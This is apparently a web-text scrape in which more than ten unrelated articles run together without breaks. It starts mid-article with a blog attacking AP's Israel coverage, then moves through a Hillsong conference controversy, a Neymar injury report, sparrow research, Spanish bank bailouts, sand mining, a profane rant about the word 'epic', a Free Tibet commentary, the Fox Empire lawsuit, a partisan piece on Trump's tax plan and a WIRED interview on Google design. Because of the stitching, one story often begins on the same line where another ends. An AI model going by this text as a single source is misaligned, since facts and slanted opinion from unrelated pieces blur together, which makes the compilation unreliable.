They had all the relevant details direct from the Israeli police in the first four paragraphs of the story. It was absolutely crystal clear right from their first report what had happened.
That headline has been rightly jumped on by social media and commentators. But it’s still on display on many sites who take an AP feed and just republish everything. Some sites may eventually change the headline (it’s settled on “Palestinian kills baby at Jerusalem station”) but many (especially some like the Lebanese Daily Star) never will. Many other places wrote atrociously slanted stories too, but the AP’s story is repeated ad nauseam across the world.
This is a major disaster for the AP. This is absolute proof that their reporting in Israel is not fit for widespread distribution. All over the web people are angrily condemning Yahoo! because that was the first place they saw this headline.
Very few people understand how the news agencies work. As I explained in an earlier post, these examples of malicious bias make news sites which run AP stories look bad. Yahoo!’s brand will be damaged. Yahoo! is the biggest site on the internet regularly publishing an un-edited version of the AP’s news wire.
If I was the CEO of Yahoo! I’d be considering very carefully whether to continue publishing AP’s Middle East stories without checking them. And that’s destroys the point of paying AP: honest and fair news outlets can not rely on AP to produce a straight Israel story. They will need to expend editorial energy checking every headline and every paragraph.
Buying and publishing stories from The Associated Press is not a wise investment.NEW YORK — Concerns are being raised after the youth leader at Hillsong NYC appeared as the “naked cowboy” at a recent women’s conference.
Hillsong’s Colour Conference was held on May 6 and 7 in Madison Square Garden with ticket prices set at $209.50 a person in advance and $219.50 at the door.
“Colour seeks to ‘gather, equip and mobilize’ women of all age, background and culture in the belief that together we can and will make the world a better place,” a description of the event reads. “Our team labor to create an atmosphere that will refresh heart and soul, and inspire transformation. Our desire is that worship, creativity and the presentation of God’s Word (the Bible) will honor the King of heaven and cause faith to rise, enabling the enormous potential within to become reality.”
But online video footage of the event shows members of Hillsong NYC engaging in patriotic shout-outs and performing the song “New York, New York” surrounded by firemen, a costumed statue of liberty, Broadway dancers—and a look-alike of the city’s notorious “Naked Cowboy.”
The “Naked Cowboy,” dressed in only his underwear and a cowboy hat, moves to the front of the stage at one point and blows kisses to the cheering, flag-waving crowd. Hillsong NYC leader Carl Lentz is believed to be seen in the footage, as well as Bobbie Houston and her son Ben Houston, who leads Hillsong Los Angeles.
At first, the identity of the “Naked Cowboy” was a mystery to outsiders who viewed the online footage, but one Instagram user named Kelly Amber soon posted a snapshot of the event online, writing “light and shade #colour conf.” She also tagged Ben Houston and Hillsong NYC youth leader Diego Simila in the photograph.
Followers began chiming in, “Is that Diego with his shirt off?” “His shirt wasn’t the only thing missing!! @diegosimilaaka ‘naked cowboy’!!” and “Not surprised that it was @diegosimila.”
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Simila has served as the youth leader at Hillsong NYC since 2010. A former model, Simila sports his last name tattooed in large script across his chest, which can be seen in the video footage.
According to an online video featuring Simila preaching at LifePointe Church in Olathe, Kansas last year, Simila was formerly a part of a boy band in California, but believed that God had called him to leave it all and attend Bible college at Hillsong Sydney. After graduating, he moved back to California where he worked as a model, until he then felt led to move to New York City.
“He lived homeless there for about three weeks and he was just jumping from couch to couch. But he was faithful, and all of a sudden in a short, short time, he winds up being asked, being told to be the Youth Pastor of Hillsong New York City, started in 2010,” LifePointe leader Patrick Norris explains to the congregation.
But some find it inappropriate to have a youth minister appear as the “naked cowboy” and parade himself in his underwear at a women’s conference presented by a professing Christian church.
“I usually don’t expect to see a near-naked cowboy gyrating from the stage of a Christian women’s conference. Nor would I see and hear thousands of Christian females applauding and squealing in delight, and spurring on the performance. Indeed if I were of the world, I’d expect these sights and sounds to come from a giant bachelorette party at a strip club,” wrote Amy Spreeman of Berean Research.
“Hillsong continues to astound by their complete and utter disregard for how scripture instructs Christians to conduct their lives in this present evil age,” also commented the blog Pirate Christian. “First they brought us sleezy Silent Night. Then they had the sexual pervert Austin Powers appear at their women’s conference in London and now they’ve had The Naked Cowboy appear at their women’s conference in New York. We fear to see what they have in store for their next conference.”
Hillsong’s contact information is not posted online and therefore none could be reached for comment.World Cup: Neymar fit to play for Brazil in their quarter-final showdown with Colombia
Neymar was overcome with emotion after Brazil beat Chile in a penalty shoot-out
Neymar will be fit to play in Brazil’s quarter-final against Colombia after overcoming injury concerns.
Brazil Team doctor Jose Luiz Runco consulted with Neymar on Monday and has ascertained that the thigh and knee injuries Neymar sustained against Chile will not hinder his involvement in the game.
Neymar complained of a left thigh injury after Brazil's penalty shootout win over Chile, and Runco said the player was also being treated for a hit on his right knee.
Confederation spokesman Rodrigo Paiva said Neymar will, at the most, miss some training this week ahead of the crucial match.
"The worst is the knee, it's what's hurting the most," Paiva said.
"He may be rested from practice if needed.
“He will be evaluated again, but Runco said fans don't have to worry because he's not a concern for the match."
Neymar was subjected to heavy challenges during the match against Chile, and twice he had to leave the pitch for treatment. He claimed to play the remainder of the game in pain but scored one of the spot-kicks that won Brazil the game.
Team-mate Fernandinho spoke of the team’s concern over a possible absence.
He said: "We just hope Neymar can recover as fast as possible so he can be ready for our next match."
Brazil doctors said three other players were undergoing treatment following the Chile game, although none of the injuries were serious.
Midfielder Luiz Gustavo, who is out against Colombia because he received his second yellow card, was nursing a right knee injury, while playmaker Oscar had a deep scratch on his left thigh.
Defender David Luiz was recovering from a back problem sustained before the Chile match.A new study of territorial songs used by chipping sparrows to defend their turf reveals rare behavior; males sometimes will form a 'dear enemy' alliance with a weaker neighbor to prevent a stronger rival from moving in
AMHERST, Mass. ¬- A new study of territorial songs used by chipping sparrows to defend their turf reveals that males sometimes will form a "dear enemy" alliance with a weaker neighbor to prevent a stronger rival from moving in. University of Massachusetts Amherst graduate student Sarah Goodwin and her advisor, behavioral ecologist Professor Jeffrey Podos, report their findings in the current issue of Biology Letters.
They say that Goodwin's playback studies, funded by the National Science Foundation, for the first time demonstrate the birds' use of a stereotyped, specialized signal, in this case chipping sparrow trills, to establish brief periods of cooperation among neighbor birds who are otherwise rivals.
Playback studies involve placing a loudspeaker and a species-appropriate taxidermic bird model on one male bird's territory and playing the song, creating a simulated rival. Goodwin conducted 48 playback trials, 24 of each fast or slow trill-rate condition, in two western Massachusetts counties over two breeding seasons from May 2011 through July 2012.
As Podos explains, "Typically we see birds respond aggressively to song playback, because they perceive an intruder. This kind of experiment has been done with many, many species, but in this case Sarah found a surprise."
Chipping sparrows, Spizella passerina, are small, cinnamon-capped, clear-breasted grey and brown birds that favor habitats such as cemeteries, college campuses and Christmas tree farms for mating and breeding. Goodwin says the males start each day with a ritual song directed at their neighbors, making it easy to map their territories.
For this study, she presented each male bird with the two conditions of a simulated rival and found that males responded more vigorously to stimuli with a fast trill rate. That is, they approached closer to the loudspeaker and spent more time near it or attacking the taxidermic model when trills were faster. The researchers thus used trill rate as a measure of a bird's territorial threat level to his neighbors.
What she discovered next was unexpected, Goodwin recalls. About one time out of five, a neighboring male flew into the territory of the male she was focusing on, and helped him repel the simulated intruder. In a typical playback experiment, with such an intrusion the trial would be scrapped and the researcher must start over. But Goodwin became curious about how often this was happening.
"What was really noticeable was that neighbors were also displaying aggressively towards the simulated intruder, and the resident tolerated the helpful neighbor's intrusion," she says. "This behavior, the formation of territorial defense coalitions, has been very rarely documented in birds."
The next step, Goodwin reasoned, was to examine the circumstances under which coalitions formed. She returned to the song feature, trill rate, that signaled threat level and analyzed it among residents, neighbor-turned-allies and simulated intruders. Here she found a consistent pattern: Neighbors become allies when they have a faster trill rate than the resident they are assisting, and when the simulated intruder is faster than the resident.
In further trials to follow up on the the discovery of territorial dynamics and signaling among the sparrows, Goodwin found that the neighbors almost exclusively help when the simulated intruder sounds "more studly" in Podos' words, than the neighbor.
He adds, "We interpret this to mean that the ally not only prefers having a lousy neighbor, but also specifically does not want that lousy neighbor replaced by a more serious competitor." He adds, "What's really neat is that there are specific vocal relationships that predict when and with whom the birds will form these coalitions."
Goodwin, who is particularly interested in communication networks and how individual birds assess and compare signals from others, plans to turn her attention next to female chipping sparrow behavior. She will analyze communication variables such as trill rate, song complexity, frequency bandwidth and note structure as cues female birds may use to choose a mate. This future work will include DNA testing to establish paternity of offspring.
Both she and Podos feel a new affection for the often-overlooked little sparrow that many might call "nondescript." Podos says, "Here we have a case of hidden diversity that was under our noses all along but that we didn't see. Here is a supposedly ordinary species that is truly not ordinary. I can't wait to see what more Sarah will discover about these surprising little birds."
###If you’ve been following the story of Mike and Heather Martin, AKA DaddyOFive and MommyOFive, you know that the brunt of their abusive behavior has been borne by their two youngest kids, Emma and Cody. (The evidence has been preserved here.) Heather is their stepmother, which raises the question of where their biological mother enters into all this. Does she know what’s been going on? Isn’t there anything she can do?
Good news: The answer is yes.
In summary: Cody and Emma went back to their biological mother Rose Hall last Friday, the same day their abusers were playing victim on Good Morning America. The two kids are in a safe place where nobody is going to torment them and exploit them for YouTube ad revenue.
And if anybody thinks Rose is doing this for publicity… no. As you can see, she’s clearly uncomfortable being filmed. She just wants her children to be safe.
There’s no such thing as happily ever after, but this is a good start and a great relief. None of those kids deserve the way they’ve been treated, but especially Emma and Cody. I’m glad they’re out of that place, and I hope they can go back to just being kids.
P.S.Today, we’re excited to share the latest draft picks on our roster of sports experiences. Whether you prefer your action on the court, the pitch, or the ice rink, you’re in for a treat.
Strength in Numbers: The 2017 NBA Finals
Produced by m ss ng p eces, Strength in Numbers lets you relive the excitement of the 2017 NBA Finals in VR. It was unprecedented from the outset—the first time in history that two teams matched up for a third straight NBA Finals. This is The Finals from a view you won’t find anywhere else—on the court, behind the scenes, and everywhere in between, featuring player interviews and breathtaking in-game action.
“Some of the best basketball players in the world, including Kevin Durant and Stephen Curry, give the kind of intimate, immersive interview that is only possible in virtual reality,” says NBA Vice President of Global Media Distribution Jeff Marsilio. “And broadcasters like Shaquille O’Neal already know how to play off the VR cameras in funny and entertaining ways.”
Watch Strength in Numbers now on Oculus Video for Rift and Gear VR.
Juventus VR
Experience Juventus from the view point of your favorite soccer heroes. Soak in the stadium atmosphere from on the pitch, step inside the home dressing room, go behind the scenes at Juventus Center, and take a journey through Bianconeri history at J|Museum.
“Previously you would have had to be physically in the stadium or at the training field for an experience like this, but not every single fan is able to be here in person,” says Juventus Co-Chief Revenue Officer Federico Palomba. “Thanks to VR, Juventus and other clubs are able to eliminate these geographical boundaries, multiply access, and bring fans into contact with their favorite sports stars.”
Dive into the action, wherever you happen to be, on Gear VR and Rift!
San Jose Sharks VR
Earlier this week, the San Jose Sharks released the NHL’s first dedicated VR app. Get up against the glass at the Shark Tank or go behind the scenes at the SAP Center for rare post-game experiences in 360° with unique social features from Zeality. Get ready for the puck drop today on Gear VR.
Spectacular Spectatorship
Over the past two years, consumer VR has changed the face of sports spectatorship, and critics are taking notice. Last year, m ss ng p eces brought home an Emmy for their film Follow My Lead: The Story of the 2016 NBA Finals—and we can’t wait to see the response to this year’s documentary.
“The NBA has some of the most tech-savvy fans in the world, with a finger on the pulse of what’s new and relevant in technology,” explains Marsilio. “And they’ve come to expect us to push the envelope of innovation in ways that bring them closer to the game. When we released Follow My Lead in 2016, the response was almost universally that we’d given the fans a perspective on the NBA Finals they’d never had before, and the new film pushes that experience forward in so many ways; we’re really excited to see how the fans react to this one.”
The team at Juventus echoes that sentiment, highlighting VR’s ability to make the impossible possible.
“VR gives fans the impression of being immersed in exclusive areas like the tunnel where players stand before the match or locker rooms,” says Palomba, “enabling them to hop from one place to another within the Bianconeri world and to experience things first-hand that they could only otherwise dream of.”
NextVR is getting in the game as well, with NBA LIVE scheduling and on-demand broadcasts of select NFL games. Click here for details or download the Gear VR app today.
Wide World of Sports
Thirsty for more sports action? Here’s a quick look at some fan favorites:
The Climb —Scale new heights and take in breathtaking views in this Rift best-seller.
—Scale new heights and take in breathtaking views in this Rift best-seller. Echo Arena —Push, pull, and punch your way to victory in E3 2017’s VR Game of the Year.
—Push, pull, and punch your way to victory in E3 2017’s VR Game of the Year. Knockout League —Boxing meets arcade-style action as you take on an eccentric cast of characters.
—Boxing meets arcade-style action as you take on an eccentric cast of characters. Project CARS —Live out your racing dreams on a variety of tracks with tight turns, pit crews, and dynamic time and weather.
—Live out your racing dreams on a variety of tracks with tight turns, pit crews, and dynamic time and weather. VR Sports Challenge—Push your skills in a variety of sports on both Rift and Gear VR.
That’s just a taste of the sport-related content available on the Oculus Platform. From tennis and fishing to archery, golf, and beyond, there’s an active experience for everyone.
We’re excited to see what the future of VR and sports holds, and we look forward to sharing it with all of you.
— The Oculus TeamMadrid: Spain’s government said on Friday it will soon request a first payment for its deeply troubled banks from an emergency Eurozone rescue line.
“The request will be sent shortly,” a spokeswoman for the Economy Ministry said.
“It is being worked on,” she said, declining however to specify the timing or exact amount of the request.
The money was being sought for crisis-torn Spanish banks that have already been nationalised, she said: Bankia, Catalunya Caixa, NovaGalicia Banco and Banco de Valencia.
“The Bank of Spain has to ask that the funds be made available to it and that is the request that will be sent,” the spokeswoman said, adding that the size would depend on a central bank analysis.
“The Bank of Spain is doing its analysis and that report is for the nationalised banks, so depending on that analysis they will see what request they need to make,” she said.
Spain’s Eurozone partners agreed in June to lend up to 100 billion euros (Dh458 billion, $124 billion) to salvage the nation’s banks, buckling under record bad loans built up since a 2008 property crash.
The Eurozone’s bailout fund, the European Financial Stability Facility, has already put aside an emergency reserve of 30 billion euros in case of urgent requests by Spain, a spokeswoman for the fund said.
Under a written agreement drawn up last month, the Bank of Spain can ask for a specific sum from that emergency reserve.
But any payment first needs the approval of the European Commission and officials of the 17-nation Eurozone working in liaison with the European Central Bank.
The bulk of the rescue loan is expected to be disbursed from November onwards to help finance a restructuring and recapitalisation of the Spanish banking sector.
Spanish lenders’ bad loans leapt to a record high level in June, latest figures showed Friday.
The value of doubtful loans jumped to 164.36 billion euros in June, equal to an unprecedented 9.42 of the banks’ total loan portfolio, the Bank of Spain said.
Up sharply from a share of 8.96 percent of total loans in May, it was the highest bad loan ratio recorded since the central bank began compiling the data in 1962.
As Spain awaits the first payment for its banks, the nation’s troubles seem to be mounting.
The economy is in a recession, which the government expects to drag on through 2013, and the unemployment rate is near 25 percent - the highest in the industrialised world.
At the same time, Madrid is slashing spending and raising taxes in a battle to rein in its bulging public deficit.
Despite those efforts, Spain’s finances are under rising pressure as wary investors demand painfully high interest rates to lend to the country by buying its sovereign bonds.
The yield offered on Spanish 10-year government bonds was about 6.45 percent on the debt market Friday afternoon.
Although that is sharply down from levels of more than seven percent in previous weeks, the rate is still considered too high for the Spanish government to afford over the longer term.Sand and gravel are the most-extracted materials in the world.
The UN believes that sand and gravel, or aggregates, account for up to 85 percent of all mining activity around the world, measured in weight.
"It's almost become like air, the air we breathe, we don't think too much about it, but you can't live without it," says Kiran Pereira, the founder of SandStories.org, in the documentary Sand Wars.
While sand might seem like an abundant resource, it is being mined at a pace much faster than its natural renewal rate.
A 2014 report by the UN estimates that globally, more than 40 billion tonnes of sand and gravel are extracted every year.
Here's how that compares to the production of other natural resources.
Worldwide, the legal sand extraction industry is worth $70bn, roughly the equivalent of the GDP of Kenya.
What is sand used for?
Sand has numerous applications that cut through our daily life. It's used for glass and is the source of strategic minerals including silicon dioxide, which is found in wine, cleaning products, toothpaste and many more everyday products.
Sand is also required for manufacturing the microchips inside our computers and smartphones.
But the sector swallowing up the most sand is the construction industry.
More than half of the world's population now lives in cities. By 2030, the UN expects 60 percent of people to live in urban settlements.
Building and expanding cities requires concrete and asphalt, both made with sand. A lot of it.
The rise and rise of Singapore
Singapore is just one example of a metropolis with a sand addiction.
Between 1990 and 2017, the city state's population nearly doubled, from three million to 5.6 million.
Meanwhile, the city's land area has grown through extensive land reclamation, from 581.5sq km in 1960 to 719.7sq km in 2016 - a 24 percent increase.
Reclaiming one square kilometre of land from the sea costs up to 37.5 million cubic metres of sand.
In 2016 alone, Singapore imported 35 million metric tonnes of sand.
In July 2017, Cambodia banned all sales of sand to Singapore, citing environmental grounds. Malaysia, Indonesia and Vietnam had already put restrictions on sand exports to Singapore. But these restrictions have given rise to a flourishing smuggling trade.
So-called "sand mafias" have proliferated elsewhere, too. According to the Times of India, illegal sand mining is worth $2.3bn a year in Tamil Nadu alone.
Poyang Lake: China's disappearing sands
Not all kinds of sand are suitable for use in construction. Desert sand is considered too fine. As a result, sand is taken from beaches and dredged up from rivers and the seabed on an industrial scale, adversely affecting ecological systems.
Poyang Lake, in China's Jiangxi province, is thought to be the world's biggest sand mine. An estimated 236 million cubic metres of sand is taken out of the lake every year.
Satellite images taken by NASA show how this has changed the landscape of the northern reaches of Poyang Lake.
Drag the slider across the image to see the difference between 1995 and 2013.
Images by NASA
NASA reported that sand mining affected the lake's ecological integrity by "contributing to less predictable seasonal water fluctuations and to a series of recent low water events," according to ecologist James Burnham.
Dredging sand from the seabed is destroying local flora and fauna. Mining of ocean and beach sands is contributing to the erosion of beaches. In Indonesia, two dozen islands are believed to have disappeared due to sand mining.
"Negative effects on the environment are unequivocal and are occurring around the world," the UN noted in its 2014 report.
Meanwhile, policymakers have been slow to respond to the depletion of sand. "The current level of political concern clearly does not match the urgency of the situation," the UN stated.
The world is only slowly waking up to the fact that another finite resource is slipping through our fingers.
Find out more about the disappearance of sand in Sand Wars.Spanish Not everything is epic, shitheads.
The word "epic" is one of the most misused and overused filler words in the English language. Here are examples of its misuse on Facebook and Twitter:
If you have used the word out of context, which means any time since 2008, you should stop whatever it is you're doing and start plowing fields, because you lack the ability to form language that doesn't involve mimicking others, and are therefore a cow.
The word epic should only be used to describe two or three things, ever. In fact, here's a comprehensive list of all things epic:
Oceans.
Oceans are "massive and imposing in scale or size;" literally epic. Lengthy narratives.
Literary epics are tales of heroism, and are often about voyages across other epic things, such as oceans. I don't know every literary epic out there, but I know that getting "FRONT LAWN SEATS" sure as shit isn't: The cosmos.
That's it. Unless it's an ocean, cosmic or heroic, it's not epic.
So when you dipshits ascribe the word "epic" to banal things like the new Tron poster (not even the entire movie, just the poster), and children's games like "duck duck goose," you cheapen the word and water it down so it just becomes a sound you make, like a grunt when you approve of something. And it's not just used for approval, it's also used to describe minor disappointments, like having to restart a DVD because it skipped. Now every minor inconvenience is an "EPIC FAIL." And if it's cool, it's not just cool but an "EPIC WIN." And for the record, fail is a verb, and is something you do, like fail at English. The act of failing is "failure," and is a noun. People can be failures, but they can't be "fails." That doesn't make sense. So when you miserable pieces of shit say "epic fail," what you really mean is "epic failure."
Using words like "epic" to describe how extremely impressed you are by everything has ruined the word. If everything is epic, nothing is epic.
There are two reasons why people use it:
1. Because it's a big trendy inside joke with a recognizable template that everyone can exploit in a vain attempt to be funny and fit in. I get the supposed humor of being an ironic idiot, but people who use the phrase aren't being ironic anymore, just idiots. Phrases like "epic [BLANK] is epic" have largely supplanted popular phrases from TV and movies, and now we're inundated with stupid shit like this: And just an aside: hashtags are pointless, hashtag jokes are stupid and people who use them are giant assholes. The problem with Twitter hashtags, other than the fact that metadata doesn't belong in your content, is that people who use Twitter insist on linking that shit on Facebook, Google Plus, MySpace and every other website and widget they can possibly link to their stupid accounts. You know what, shitheads? If I wanted to follow you on Twitter, I'd sign up for an account. There's a reason people choose one social network over another, and the rest of the world shouldn't have to spend time figuring out the proprietary syntax of your stupid network. If people wanted to receive your Twitter updates on Facebook, they wouldn't be using Facebook. People who link their accounts rarely deign to sign into both social networks to reply to or check comments, but they're happy to share all their #unintelligible @twitter #nonsense #with @everyone #in #the #universe. The whole point of hashtags (or tagging in general) is that it allows people to easily categorize certain posts, and like categories, you should only use them when you're searching for something, not to make some stupid joke about how obscure your "topic" is. Here's what books would look like if categories were mixed with content: 2. The other reason as to why everyone uses it is because it's this generation's rejection of their parents' generation. Every generation has a style that defines them, and a vocabulary that goes along with it, and that vocabulary has to be different from the vocabulary their parents used: You can't picture your mom saying "epic," just like your mom can't picture her father saying "dope," and his father saying "bad," unless your grandfather happens to be really into hip hop like mine was. Each time a new set of "cool" words come into popular use, it makes the old ones seem dated, and each generation ends when corporations finally catch up and try to seem hip by using the phrases to sell products:
Hot Topic is where cool ideas go to die. |
ED Activist case exposes China crackdown Replay More Videos... MUST WATCH Activist case exposes China crackdown 02:24
JUST WATCHED New realities for Tibetans in China Replay More Videos... MUST WATCH New realities for Tibetans in China 02:34
We have seen military and security forces descend in large numbers on places where self-immolations have taken place. Over much of the last year and a half, since a young monk called Phuntsog set fire to himself there, the Chinese military have lined the streets of the town of Ngaba; road blocks restricting people's movements. Free Tibet has received reports of security forces ransacking homes, beating people in their houses and in public in a show of force and intimidation of the community.
People suspected of being involved with those who have set fire to themselves are criminalized. Rewards -- the equivalent of a generous annual salary -- are on offer for information about collaborators, and anyone suspected of collaboration can expect to receive a prison sentence of up to 13 years.
Free Tibet has documented a number of incidents of collective punishment of communities where protests have taken place. Last month, a public information broadcast on Tibetan television outlined, in great detail, collective punishment measures for communities where self-immolations take place: the families of those who set fire to themselves will have any state benefits removed, communities where protests take place will not receive investment for local projects for three years; government officials will be "removed."
Although protests by fire have captured the attention of the international media, there are other protests across Tibet that have not gained such coverage.
Thousands, from school children to the elderly, are engaging in peaceful protests. They have been shot at -- some killed, many more wounded -- by Chinese security forces. Over five days in January, in three separate incidents, Free Tibet received reports that five Tibetans were shot dead, many more wounded, when security forces opened fire on peaceful protesters. We believe those suspected of involvement in the protests have been rounded up and detained in their hundreds; scores have been disappeared; many have been tortured and some have died while in detention, most likely from the wounds they sustained during torture.
Others have acted alone. Jigme Dolma, a 17-year-old girl, was beaten and detained by security forces for throwing Buddhist writings in the air and calling for the release of political prisoners. Her protest lasted five minutes; her sentence, after having been disappeared for several months, is three years in prison.
The rest of the world knows very little about the situation in Tibet because few places today, except perhaps North Korea, are so effectively cut off from the rest of the world.
Internet and mobile phone signals are routinely blocked, particularly in areas where protests take place. When they aren't blocked they are tightly monitored and Tibetans suspected of "sharing information" are regularly disappeared or detained and receive up to life imprisonment just for sending an e-mail. One Tibetan, who declined to be identified, recently told us: "I really don't have the courage to sacrifice my life with immolation but I can spend time in Chinese jail for passing on the truth."
Human rights monitors and international diplomats are refused entry to Tibet and the international media are banned. The only journalists who have reported from Tibet over the last two years have done so by entering the country undercover, hidden on the back seats of cars. Even then, most only manage to film through a car window.
All these impediments make securing and verifying information an extremely dangerous job for anyone inside the country, and a constant challenge for organizations like Free Tibet.
Free Tibet ensures that governments do know what is happening in Tibet, despite China's best efforts to gloss over and conceal the truth. Sadly, many countries choose to turn a blind eye.
We welcome steps taken by the U.S. -- for instance Ambassador to China Gary Locke's public statement urging Beijing to negotiate with the Tibetan people to address policy failures in Tibet -- but there is so much more that the international community must do if Tibetans are to enjoy the freedoms so many of us take for granted.
*Please note CNN has offered the Chinese government a chance to comment but we have not yet received a response.In 2015, Fox took over an Illinois youth detention center to film jail scenes for Empire, the hit drama about a feuding music-industry family led by Lucious Lyon. Thanks to a court ruling on Monday, Fox now finds itself stuck there for the time being.
Several minors, through their legal guardians, are suing over the Empire filming at the Cook County Juvenile Temporary Detention Center, contending that their due process rights were denied when they were ordered into "pod" areas and forced to sit there for days. During this time, the kids' sick requests were allegedly ignored and their family visits were eliminated. These children couldn't attend school and didn't have access to the recreation yard, the library, the infirmary and the chapel.
In April, U.S. District Judge Amy J. St. Eve allowed claims to proceed against Cook County Chief Judge Timothy Evans and Superintendent Leonard Dixon while expressing some doubts about claims directed at Fox.
Now, however, after the complaint was amended and Fox took another shot at dismissal, the judge has decided to permit two claims against Fox to move forward as well.
St. Eve rules that the plaintiffs have properly pled a claim for tortious inducement of breach of fiduciary duties. The judge says the lawsuit sufficiently alleges that Fox "colluded" with Cook County officials by deliberately encouraging them to improperly place the youth prison on lockdown. As for Fox's knowledge about the officials' duties, the judge sees enough.
"Despite the Fox Defendants’ arguments to the contrary, in their new allegations, Plaintiffs add more factual details as to how the Fox Defendants induced the breach of fiduciary duty," states the judge's order. "Plaintiffs, for example, allege that the Fox Defendants induced the breach by offering to pay rent for the JTDC and wages and overtime for JTDC staff. Plaintiffs further allege that the Fox Defendants made their offers on the condition that the JTDC’s administrators would change the facility’s normal operations to make the second and third floors of the JTDC available for filming of the television show. In addition, Plaintiffs state that the JTDC’s administrators accepted the Fox Defendants’ inducements, and the Fox Defendants reached an agreement with the County Defendants for Empire’s film crew to film at the JTDC. Viewing these allegations and all reasonable inferences as true, Plaintiffs have plausibly alleged that the Fox Defendants induced the County Defendants to breach their fiduciary duty."
In conjunction, St. Eve is also permitting a claim for unjust enrichment since Fox economically benefited from the Empire prison filming. The lawsuit discusses how advertisers paid $750,000 for a 30-second advertising spot in the second season premiere plus realized further profits through international broadcasting and digital streaming and downloading.
Fox does get the lawsuit trimmed.
The judge writes that Fox can't be held joint liable for due process violations.
Her opinion states that plaintiffs "have not plausibly alleged that the Fox Defendants and any state actor had an agreement to deny Plaintiffs’ constitutional rights or that the Fox Defendants and a state actor had a common, unconstitutional goal. Rather, Plaintiffs’ allegations suggest that the Fox Defendants were aware that their desire to film Empire at the JTDC conflicted with the juvenile detainees’ needs. At best, Plaintiffs have alleged that the Fox Defendants sought to enter into an agreement that would induce the administrators to exclude children from the JTDC’s second and third floors and that all of the Defendants knew that filming Empire would result in restrictions on the children. Although the result of this alleged agreement may have deprived Plaintiffs of their constitutional rights, Plaintiffs’ allegations do not support the inference that the state and private actors shared an unconstitutional goal in the first instance."
Here's the full memorandum opinion that also rejects conspiracy claims.A trillion here, a trillion there. Photo by Tom Pennington/Getty Images
Donald Trump’s tax plan, which he debuted Monday, is, shockingly, not the most carefully crafted document. Mostly, it looks a lot like the arch-conservative proposal Jeb Bush rolled out earlier this month, but with even more implausibly low rates for all—sort of like when a high school kid copies his homework and then changes a few details so the teacher doesn’t catch them. Nonetheless, Citizens for Tax Justice, which previously crunched the numbers on who would benefit most from Bush’s various reforms, has taken the information Trump provided and worked up a rough estimate of what its effects would be.
Citizens for Tax Justice
First takeaway: The plan would cost at least $10.8 trillion over 10 years. Which is, you know, crazy—that’s almost enough to fund three years of our $3.8 trillion federal budget. Not that Donald “Make Mexico Pay for the Wall” Trump is really into policy realism.
Second takeaway: For all of Trump’s bluster about making hedge funders pay more in taxes, his plan is just another massive gift to the rich. One-third of the benefits would to go the top 1 percent of taxpayers. In some sense, this is more progressive than Bush’s plan—the top 1 percent would take home more than half the income gains from his blueprint. But in absolute terms, the rich make out far better in Trump world. The average 1-percenter would get a $82,000 cut with Bush, but would upgrade to a yooge $184,000 cut with the Donald. (That said, the numbers aren’t 100 percent equivalent—the CTJ analysis didn’t account for Bush’s corporate tax cuts, whereas it does include the results of Trump’s—so take this as a rough guide.)
God only knows whether Donald Trump even takes any of his own ideas seriously. But at least attaching some actual figures to them should stop famous television journalists from doing so. Right, Chuck Todd? Right?Material Design, announced by Google in June 2014, was the company's first major attempt at creating a common look and feel for Android Google/WIRED
Google's Matias Duarte has a problem. In the next ten years he wants to replace the computer on your desk and the phone in your pocket with a smart, continuous mesh of information. But to do that, he's got to fundamentally change how everyone interacts with technology. "I see what we're doing now in this digital interactive space as a kind of industrial revolution," Duarte, Google's vice president of design, tells WIRED. "But there's a real risk, there's a real risk of stagnation."
Computers of the future, Duarte says, will fade away into the background, creating a "mesh" that is more human and less disruptive to our lives. "The system or the computer can become more accessible and more universal because it operates on atoms of interaction that are more human, that are conceptual, that are things that you could speak to or things that you could draw," he explains.
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And the driving force behind the need for change? We're drowning. "As we get more and more screens and more and more devices that are smart, both integrated into our homes but also on our bodies, it's creating new types of problems that are going to create a new type of opportunity."
Steve Jobs unveils the original iPhone at Macworld in January 2007 David Paul Morris/Getty Images
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Radically overhauling the design of our digital devices is no small task. Eight years on from the launch of the original iPhone we're still using rows of apps and touchscreen rectangles. And many of the design conventions our smartphones and tablets rely on are more than 30 years old.
Even the iPad Pro and the Surface Pro 4, praised by reviewers, are "basically laptops", Duarte says. "I don't think you could really call it a significant fading of the laptop. It's a new blouse by the same name."
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So how did we get here? "It's easy for things to settle on standards that are sub-optimal. It's very easy for things to catalyse into local maxima that are hard to break out of." All phone and tablet design since the iPhone has mimicked it to some extent. Duarte describes this as a "crystallising moment", a key inflection point in hardware and software design. But Apple's success was never guaranteed.
"I see what we're doing now in this digital interactive space as a kind of industrial revolution was" Matias Duarte, vice president of design, Google
The PalmPilot, pictured here in 1998, was controlled using a stylus SSPL/Getty Images
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Apple's victory, and the subsequent success of the iPhone, was a "fairly positive" moment. "But it also crystallised a lot of other things that were kind of staid even by that point, like the rows of icons, which don't scale very well. This idea of a tiny grid that you manually curate starts to feel very heavy and burdensome."
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Apple's leap was a major one, pulling together ideas that had been "bouncing around" for some time. "It was almost like the industry knew some of the attributes that it wanted to have but it hadn't quite gotten the package right yet."
Apple's leap changed the direction of consumer electronics. But what will be next? "I get the sense that the answer you're looking for is a particular product or a particular idea," Duarte responds. "I'm excited that there is this tension in the current tech ecosystem where phones are starting to show their age. Laptop models have shown their age so much that everybody is desperately trying to get to a different model. I'm excited about the potential of that rather than any particular vector that says: 'oh, this is going to be hot or I have this idea.'"
Duarte is part of a subtle but significant change at Google. Earlier this year he helped establish what he describes as a "design incubator" to do "new things with design" both within the company and externally. Material Design, the simplifying and flattening of Google's once chaotic-looking Android interface, was one of his first major projects. He's since gone on to work on Android Wear, Google's operating system for smartwatches. "Google has always had incredible design talent," he says. "It just wasn't organised or scaled in a way to utilise it. And culturally it had a hard time understanding how to work with design."
Despite being indispensable for millions of people, the design heritage that our phones, tablets and desktop computers rely on remains underdeveloped, Duarte argues. "When we talk about phones and websites and apps, this is an incredibly young medium still. It's changing very quickly and it's still almost at this raw industrial state."
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"It cannot be that the optimal solution for 30 years ago is going to be applicable for all time" Matias Duarte, vice president of design, Google
"Over the last 20 years we've been really making it accessible to everybody. Almost mass producing software. But, just like the first mass produced things during the industrial revolution, they were not the best designed things."
